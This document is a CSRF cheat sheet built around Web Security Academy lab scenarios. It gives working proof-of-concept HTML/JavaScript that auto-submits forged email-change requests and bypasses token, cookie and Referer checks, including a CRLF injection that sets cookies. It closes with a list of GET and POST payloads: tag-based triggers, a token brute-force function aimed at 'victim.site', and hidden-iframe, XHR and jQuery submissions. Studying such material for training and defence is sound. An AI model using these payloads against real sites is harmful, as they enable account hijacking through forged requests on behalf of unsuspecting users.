CSRF
Scenarios
No Defense
<form method="POST" action="https://ac741ff11f938fe1801459c7009e0090.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
CSRF where token validation depends on request method
Test
- Change request method
POC
<img src="https://ac9a1f8f1e76e13f80360e0e009400d7.web-security-academy.net/my-account/change-email?email=test%40myemail.com">
CSRF where token validation depends on token being present
Test
- Remove token from request and see if it passes
POC
<form method="POST" action="https://ac741ff11f938fe1801459c7009e0090.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
CSRF where token is not tied to user session
Test
- Get a fresh csrf token from the update email page via inspecting the source
- Open a private/incognito browser window, log in to your other account, and intercept the update request
- replace the csrf token with the one captured earlier
POC
<form method="POST" action="https://ac001fe61f576f3b808b0f7100fd0037.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value="KdhHWIn09SrZyjySlgfaHCS9TzXB0iss">
</form>
<script>
document.forms[0].submit();
</script>
CSRF where token is tied to non-session cookie
Test
- changing the session cookie logs you out, but changing the csrfKey cookie merely results in the CSRF token being rejected. This suggests that the csrfKey cookie may not be strictly tied to the session.
- Observe that if you swap the csrfKey cookie and csrf parameter from the first account to the second account, the request is accepted.
- search for endpoints that gets reflected in the Set-Cookie header
- use CRLF injection to inject new cookie
POC
<form method="POST" action="https://aca51fb61ff988aa803fa9cd003f0079.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value="xe5r3sdRe2Ceizmo4blfpy02UKxpN03k">
</form>
<img src="https://aca51fb61ff988aa803fa9cd003f0079.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=jGDyLoTZDIE2A47Chp2F9MjrjDNHdnHI" onerror="document.forms[0].submit()">
CSRF where token is duplicated in cookie
Test
- Check if csrf token is validated against cookie
- Search for a point where cookie value gets reflected
POC
<form method="POST" action="https://ac951f4f1e9fceda80912065008000ac.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="csrf" value="fake">
</form>
<img src="https://ac951f4f1e9fceda80912065008000ac.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()">
CSRF where Referer validation depends on header being present
Test
- Check if the referer header is checked and used as CSRF mitigation
POC
<meta name="referrer" content="no-referrer">
<form method="POST" action="https://ac081f091ee034ef802e1dbd00d60000.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
CSRF with broken Referer validation
Test
- Does the website seems to accept any Referer header as long as it contains the expected domain somewhere in the string?
POC
<form method="POST" action="https://acc21f351e145baf809bc06c00b30072.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
history.pushState("", "", "/?acc21f351e145baf809bc06c00b30072.web-security-academy.net");
document.forms[0].submit();
</script>
CSRF with Unverified Anti-CSRF Token
Another possible scenario is when the application implements strong Anti-CSRF tokens but lacks the verification server-side. This may seem unlikely, but it has occurred!
<form action="change.php" >
<input type="hidden" name="anti_csrf" value="bgoDZVGis4bdsh672388293OrttIvgV">
<input type="hidden" name="old" value="[email protected]">
<input type="email" name="new" placeholder="your new email" required>
<input type="submit" value="Confirm">
</form>
Bruteforcable CSRF tokens
Some applications generates anti-CSRF tokens with an extremely poor level of randomness, therefore, requiring only a few attempts to brute force the mechanism
Payloads
GET Requests
No interaction needed to trigger
via HTML tags
<iframe src=URL>
<script src=URL />
<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL >
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="background:url(URL)">
<style>body { background:url(URL) } </style>
via HTML tags dynamically created by Javascript
function MakeGET(tokenID) {
var url = "http://victim.site/csrf/brute/change.php?";
url += "old=myoldemail&confirm=1&";
url += "new=attackerEmail&csrfToken=" + tokenID;
new Image().src = url; //GET Request
}
POST Requests
Auto-submitting Form
Via Hidden IFrames
<iframe style="display:none" name="CSRFrame"></iframe>
<form action="change.php" method="POST" id="CSRForm" target="CSRFrame">
<input name="old" value="[email protected]">
<input name="new" value="[email protected]">
</form>
<script>document.getElementById("CSRForm").submit()</script>
or XHR requests
var url = "URL";
var params = "[email protected]&[email protected]";
var CSRF = new XMLHttpRequest();
CSRF.open("POST", url, false);
CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
CSRF.send(params);
or via JQuery
$.ajax({
type: "POST",
url: "URL",
data: "[email protected]&[email protected]",
});